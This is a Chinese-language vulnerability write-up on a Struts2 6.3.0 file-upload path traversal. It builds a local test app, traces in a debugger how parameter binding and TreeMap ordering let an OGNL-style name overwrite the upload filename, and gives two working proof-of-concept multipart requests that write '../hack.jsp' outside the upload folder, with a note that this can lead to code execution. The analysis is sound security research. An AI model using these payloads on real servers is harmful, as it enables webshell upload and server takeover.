环境搭建

新建项目

添加依赖

在pom.xml文件中添加

<dependency>
      <groupId>org.apache.struts</groupId>
      <artifactId>struts2-core</artifactId>
      <version>6.3.0</version>
</dependency>

创建UploadAction.java,处理单文件上传

package com.example.demo;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;

import java.io.*;

public class UploadAction extends ActionSupport {

    private static final long serialVersionUID = 1L;


    private File upload;

    // 文件类型,为name属性值 + ContentType
    private String uploadContentType;

    // 文件名称,为name属性值 + FileName
    private String uploadFileName;

    public File getUpload() {
        return upload;
    }

    public void setUpload(File upload) {
        this.upload = upload;
    }

    public String getUploadContentType() {
        return uploadContentType;
    }

    public void setUploadContentType(String uploadContentType) {
        this.uploadContentType = uploadContentType;
    }

    public String getUploadFileName() {
        return uploadFileName;
    }

    public void setUploadFileName(String uploadFileName) {
        this.uploadFileName = uploadFileName;
    }

    public String doUpload() {
        String path = ServletActionContext.getServletContext().getRealPath("/") + "upload/Test";
        String realPath = path + File.separator + uploadFileName;
        try {
            FileUtils.copyFile(upload, new File(realPath));
        } catch (Exception e) {
            e.printStackTrace();
        }
        return SUCCESS;
    }

}

创建UploadsAction.java,处理多文件上传

package com.example.demo;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;

import java.io.*;
import java.util.ArrayList;
import java.util.List;
public class UploadsAction extends ActionSupport {
    private static final long serialVersionUID = 1L;
    private List<File> upload;
    private List<String> uploadContentType;
    private List<String> uploadFileName;
    private List<String> uploadedFileNames = new ArrayList<String>();
    public List<File> getUpload() {
        return upload;
    }
    public void setUpload(List<File> upload) {
        this.upload = upload;
    }
    public List<String> getUploadContentType() {
        return uploadContentType;
    }
    public void setUploadContentType(List<String> uploadContentType) {
        this.uploadContentType = uploadContentType;
    }

    public List<String> getUploadFileName() {
        return uploadFileName;
    }
    public void setUploadFileName(List<String> uploadFileName) {
        this.uploadFileName = uploadFileName;
    }
    public List<String> getUploadedFileNames() {
        return uploadedFileNames;
    }
    public String doUpload() {
        String path = ServletActionContext.getServletContext().getRealPath("/") + "upload/Test";
        for (int i = 0; i < uploadFileName.size(); i++) {
            String realPath = path + File.separator + uploadFileName.get(i);
            uploadedFileNames.add(uploadFileName.get(i));
            try {
                FileUtils.copyFile(upload.get(i), new File(realPath));
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return SUCCESS;
    }
}

webapp目录下创建file.jsp以及files.jsp

file.jsp

<%@page contentType="text/html; charset=UTF-8" language="java" %>
<%@ taglib prefix="Asy0y0" uri="/struts-tags"%>
上传的⽂件名是:<Asy0y0:property value="uploadFileName" />

files.jsp

<%@page contentType="text/html; charset=UTF-8" language="java" %>
<%@ taglib prefix="Asy0y0" uri="/struts-tags"%>
<Asy0y0:if test="uploadedFileNames.size() > 0">
  ⽂件上传成功:
  <Asy0y0:iterator value="uploadedFileNames">
    <li><Asy0y0:property /></li>
  </Asy0y0:iterator>
</Asy0y0:if>
<Asy0y0:else>
  no files.
</Asy0y0:else>

然后在resource目录下创建一个struts.xml的文件,写入如下内容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="upload" extends="struts-default">
        <action name="upload" class="com.example.demo.UploadAction" method="doUpload">
            <result name="success" type="">/file.jsp</result>
        </action>
    </package>
    <package name="uploads" extends="struts-default">
        <action name="uploads" class="com.example.demo.UploadsAction" method="doUpload">
            <result name="success" type="">/files.jsp</result>
        </action>
    </package>
</struts>

编辑webapp/WEB-INF目录下的web.xml文件

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
     <filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>

</web-app>

目录结构:

最后启动Tomcat即可

多文件上传绕过

漏洞版本的Struts2使用的拦截器为:com.opensymphony.xwork2.interceptor.ParametersInterceptor

在UploadsAction.java导入该包打断点,进行调试

import com.opensymphony.xwork2.interceptor.ParametersInterceptor;

发送一个上传包

POST /demo_war_exploded/uploads.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN

----xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

Asy0y0
----xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName[0]";

../hack.jsp
----xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN

往下走到this.setParameters(action, stack, parameters)方法,步入

之后一直到这里:

this.addParametersToContext(ActionContext.getContext(), acceptableParameters)

这里出去之后,uploadFileName[0]的值就已经是../hack.jsp了,因此我们重点关注中间这些代码做了什么处理

让我们一步步分析

这段代码是生成一个TreeMap来保存请求的参数,要记住,下面要用

这段对参数做校验,取出每个参数的键值,先校验参数名,再校验参数值,均通过后,isAcceptableParameter设为true

boolean isAcceptableParameter = this.isAcceptableParameter(parameterName, action);
isAcceptableParameter &= this.isAcceptableParameterValue((Parameter)entry.getValue(), action);

引用大佬文章的话:这里的校验由于历史上各种RCE漏洞,对RCE相关的校验是很严格的,但缺少对参数绑定的校验

我的理解:除了对参数本身的验证,代码中没有检查参数是否能绑定到正确的地方或上下文,攻击者有机会绕过防护措施,将恶意的输入绑定到错误的参数或变量上,从而执行不安全的操作

继续代码调试

第一次循环,校验参数为:Upload: File{name='Upload'}

校验通过后,acceptableParameters就会添加键值对

第二次循环,校验参数为:UploadFileName: "1.txt"

自然也没什么好拦的,直接过

第三次循环,校验参数为:uploadFileName[0]: "../hack.jsp"

由于缺少校验,也成功放行,加入acceptableParameters

第四次循环,校验的参数为UploadContentType: text/plain,也过

循环结束后,acceptableParameters中的内容为:

再往下到这里

这些方法是对值栈的初始化,可以略过,我们关注的是,把acceptableParameters中的键值对取出来进行赋值的过程,即如下For循环:

当前newStack为空

循环不逐次分析,只看关键键值对的处理,即

  1. UploadFileName: "1.txt"

  2. uploadFileName[0]: "../hack.jsp"

我们关注的是newStack.setParameter(name, value.getObject())方法做了什么

处理UploadFileName: "1.txt"的过程:

步入

再步入

再步入

再步入,最终到达这里

根据我们的name以及context参数编译成的表达式tree,由于既不是Eval表达式,也不是Arithmetic表达式(估计是以前的RCE漏洞做的限制),因此会丢给OGNL去执行,把value对应的值,即1.txt赋给了name对应的值,即UploadFileName(在赋值时会转成小写与属性名进行比较,因此实际上会赋给uploadFileName,而又因为该属性为List数据类型,所以即为uploadFileName[0])

看大佬的文章,他一开始以为的思路就是这里,大写转小写的赋值过程,是不是存在一些特别的字符,大写和小写的比较值一样,导致覆盖,但这种思路经验证是不对的

在这里我们就能看到,uploadFileName[0]已经是1.txt了

处理uploadFileName[0]: "../hack.jsp"的过程

同上,逐层步入,到OGNL表达式这里

因为赋值的最终过程仍然是OGNL表达式去执行的,因此他会把name的值:uploadFileName[0]去解析执行,而不是单纯的当做字符串,也就是../hack.jsp赋给了 ${uploadFileName[0]} 栈空间,而不是名为"uploadFileName[0]"的属性,因此覆盖了刚才的uploadFileName[0]的1.txt

所以这个漏洞也相当于是OGNL表达式注入,不过各种RCE途径已经被限制死了,所以最终就只实现了路径穿越的文件上传,当然如果传到Web可访问目录被解析的话也可以RCE就是了

可以看到,执行结束后,栈的内容uploadFileName[0]的值已经是../hack.jsp了

补充:既然漏洞利用的核心是属性值覆盖,那必须是我们控制的参数uploadFileName[0]: "../hack.jsp"在后面处理,而正常的参数UploadFileName: "1.txt"先处理,才能达到覆盖的效果,而我们在上面有一段代码:

对参数排序的部分,不知道还记不记得,acceptableParameters使用的数据类型是TreeMap,是基于红黑树的有序映射,排序规则为:大写字母在小写字母前

UploadFileName是系统自动生成的键名,首字母大写,所以我们传入的uploadFileName[0]首字母必须小写,才能在TreeMap类型的acceptableParameters中排序靠后,实现覆盖的效果

单文件上传绕过

同多文件上传一样,总体思路还是通过对栈空间的覆盖,通过OGNL语法把合法的文件名覆盖成../hack.jsp

但不同之处在于,多文件上传时,uploadFileName为List类型,可以用uploadFileName[0]进行覆盖

而单文件上传时,uploadFileName是String类型,因此原来的Payload就不能用了

根据大佬的文章,在OGNL中有个重要的概念叫做值栈,主要⽬的是为了让能⽅便的访问Action的属性

在Struts2中,值栈默认的实现为OgnlValueStack,Struts2在执⾏⼀次请求的过程中会把当前的Action对象⾃动存⼊值栈中,而因为栈先进后出的特性,我们最后调用的UploadAction会被放在栈顶的位置

也就是说,我们可以通过OGNL对值栈的操作语法,获取栈顶的Action对象,再获取uploadFileName对应的栈空间,来进行覆盖

在Struts2中我们可以使⽤[0]获取整个栈对象

用[0].top可以获取栈顶的对象

因此获取uploadFileName的表达式为:

[0].top.uploadFileName

而由于上面提到过的isAcceptableParameter会拦截[0].top,要求不能以[0]开头,必须如1[0],z[0]等

过滤规则:[\w+((\.\w+)|(\[\d+])|(\(\d+\))|(\['(\w-?|[\u4e00-\u9fa5]-?)+'])|(\('(\w-?|[\u4e00-\u9fa5]-?)+'\)))*]

绕过方式也很简单,[0].top 等价于 top

所以最终Payload为:top.uploadFileName

下面进行代码调试

POC:

POST /demo_war_exploded/upload.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN

----xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload";filename="1.txt"
Content-Type: text/plain

Asy0y0
----xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="top.uploadFileName";

../hack.jsp
----xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN

有了上面的分析,我们就不再看中间的步骤,直接跳到最后一步,OGNL表达式那里

把../hack.jsp赋值到${top.uploadFileName},成功覆盖